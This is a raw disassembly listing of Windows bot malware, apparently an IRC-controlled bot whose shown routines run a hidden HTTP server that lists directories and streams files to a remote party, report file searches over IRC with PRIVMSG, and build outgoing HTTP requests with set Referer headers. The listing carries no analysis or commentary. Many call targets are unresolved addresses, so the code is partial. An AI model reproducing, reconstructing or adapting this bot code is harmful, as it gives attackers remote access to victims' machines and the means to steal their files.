		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F615
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F636
; ---------------------------------------------------------------------------


loc_40F615:				; CODE XREF: sub_40F531+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F636:				; CODE XREF: sub_40F531+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB6A4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F676
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF1
		pop	ecx
		pop	ecx
		jmp	short loc_40F693
; ---------------------------------------------------------------------------


loc_40F676:				; CODE XREF: sub_40F531+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96B
		add	esp, 10h


loc_40F693:				; CODE XREF: sub_40F531+143j
		push	[ebp+var_44C]
		call	dword_4CB6EC
		push	[ebp+var_B4]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
sub_40F531	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B4	proc near		; CODE XREF: sub_40F0D6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F3
; ---------------------------------------------------------------------------


loc_40F6EA:				; CODE XREF: sub_40F6B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F3:				; CODE XREF: sub_40F6B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78E
		mov	[ebp+arg_8], 2


loc_40F71E:				; CODE XREF: sub_40F6B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F778
; ---------------------------------------------------------------------------


loc_40F75E:				; CODE XREF: sub_40F6B4+7Aj
					; sub_40F6B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76E
		push	5Ch
		pop	eax
		jmp	short loc_40F771
; ---------------------------------------------------------------------------


loc_40F76E:				; CODE XREF: sub_40F6B4+B3j
		movsx	eax, al


loc_40F771:				; CODE XREF: sub_40F6B4+B8j
		mov	[ebp+ebx+var_210], al


loc_40F778:				; CODE XREF: sub_40F6B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71E


loc_40F78E:				; CODE XREF: sub_40F6B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AD0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42A0A4 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 2690EB6h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E2
		push	[ebp+arg_0]
		jmp	loc_40F862
; ---------------------------------------------------------------------------


loc_40F7DF:				; CODE XREF: sub_40F6B4+11Cj
		mov	[ebp+var_4], esi


loc_40F7E2:				; CODE XREF: sub_40F6B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EF
		mov	[ebp+var_4], esi


loc_40F7EF:				; CODE XREF: sub_40F6B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86D
		cmp	[ebp+arg_C], edi
		jz	short loc_40F861
		lea	eax, [ebp+var_314]
		push	offset asc_4341A0 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BC
; ---------------------------------------------------------------------------


loc_40F861:				; CODE XREF: sub_40F6B4+152j
		push	ebx


loc_40F862:				; CODE XREF: sub_40F6B4+126j
		call	dword_4CB6EC
		jmp	loc_40F964
; ---------------------------------------------------------------------------


loc_40F86D:				; CODE XREF: sub_40F6B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2710776h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2750C21h
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 2670894h
		nop


loc_40F8BC:				; CODE XREF: sub_40F6B4+1ABj
					; sub_40F6B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43416C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E594[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F531
		push	edi
		push	edi
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40F936


loc_40F924:				; CODE XREF: sub_40F6B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F964
		push	5
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_40F924
; ---------------------------------------------------------------------------


loc_40F936:				; CODE XREF: sub_40F6B4+26Ej
		push	ebx
		call	dword_4CB6EC
		nop
		call	near ptr 26908E1h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434134
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40F964:				; CODE XREF: sub_40F6B4+1B4j
					; sub_40F6B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96B	proc near		; CODE XREF: sub_401ACD+777Bp
					; sub_40F531+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42A0A4 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC9
; ---------------------------------------------------------------------------


loc_40F9CA:				; CODE XREF: sub_40F96B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAF
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC9
; ---------------------------------------------------------------------------


loc_40FAAF:				; CODE XREF: sub_40F96B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC9:				; CODE XREF: sub_40F96B+5Aj
					; sub_40F96B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB15


loc_40FB09:				; CODE XREF: sub_40F96B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB15
		dec	eax
		jnz	short loc_40FB09


loc_40FB15:				; CODE XREF: sub_40F96B+19Cj
					; sub_40F96B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_40FB64:				; CODE XREF: sub_40F96B+180j
					; sub_40F96B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25E0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 277034Ah
		test	eax, eax
		jz	loc_40FF54
		mov	edi, 1FFh


loc_40FB90:				; CODE XREF: sub_40F96B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 2770000h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 27607D6h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC05
		mov	ecx, offset aAm	; "AM"


loc_40FC05:				; CODE XREF: sub_40F96B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC11
		sub	eax, 0Ch


loc_40FC11:				; CODE XREF: sub_40F96B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC85
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FC85:				; CODE XREF: sub_40F96B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD25
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD2A
; ---------------------------------------------------------------------------


loc_40FD25:				; CODE XREF: sub_40F96B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD2A:				; CODE XREF: sub_40F96B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFE
; ---------------------------------------------------------------------------


loc_40FD6F:				; CODE XREF: sub_40F96B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDB4:				; CODE XREF: sub_40F96B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF3
		push	ebx
		push	[ebp+var_368]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDF:				; CODE XREF: sub_40F96B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDF3:				; CODE XREF: sub_40F96B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AD0
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE93
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE98
; ---------------------------------------------------------------------------


loc_40FE93:				; CODE XREF: sub_40F96B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE98:				; CODE XREF: sub_40F96B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDF
; ---------------------------------------------------------------------------


loc_40FEE7:				; CODE XREF: sub_40F96B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFD:				; CODE XREF: sub_40F96B+315j
		push	esi


loc_40FEFE:				; CODE XREF: sub_40F96B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0D:				; CODE XREF: sub_40F96B+444j
					; sub_40F96B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3C
		push	7D0h
		call	near ptr 2680F4Eh
		nop


loc_40FF3C:				; CODE XREF: sub_40F96B+22Bj
					; sub_40F96B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 277034Ah
		test	eax, eax
		jnz	loc_40FB90


loc_40FF54:				; CODE XREF: sub_40F96B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2760000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF97
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40F96B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFB1:				; CODE XREF: sub_40F96B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCB:				; CODE XREF: sub_40F96B+62Aj
					; sub_40F96B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF1	proc near		; CODE XREF: sub_40F531+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2710776h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A9
		push	esi
		push	ebx
		nop
		call	near ptr 2750C21h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A2


loc_410036:				; CODE XREF: sub_40FFF1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_41004B:				; DATA XREF: ___:00438128o
		cmp	edi, [ebp+arg_4]


loc_41004E:				; DATA XREF: ___:0043813Co
		jbe	short loc_410053
		mov	edi, [ebp+arg_4]


loc_410053:				; CODE XREF: sub_40FFF1:loc_41004Ej
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2710000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009D
		call	dword_4CB5E8
		cmp	eax, 2733h
		jnz	short loc_4100A2
		xor	eax, eax


loc_41009D:				; CODE XREF: sub_40FFF1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410036


loc_4100A2:				; CODE XREF: sub_40FFF1+43j
					; sub_40FFF1+A8j
		push	ebx
		nop
		call	near ptr 2670894h


loc_4100A9:				; CODE XREF: sub_40FFF1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AE	proc near		; CODE XREF: sub_40F6B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D7


loc_4100C1:				; CODE XREF: sub_4100AE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CB
		mov	byte ptr [esi+edi], 2Fh


loc_4100CB:				; CODE XREF: sub_4100AE+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C1


loc_4100D7:				; CODE XREF: sub_4100AE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DC	proc near		; CODE XREF: sub_401ACD+5298p

var_4A0		= byte ptr -4A0h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB5C4
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB654
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAFA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410155
		mov	eax, offset dword_43D808


loc_410155:				; CODE XREF: sub_4100DC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
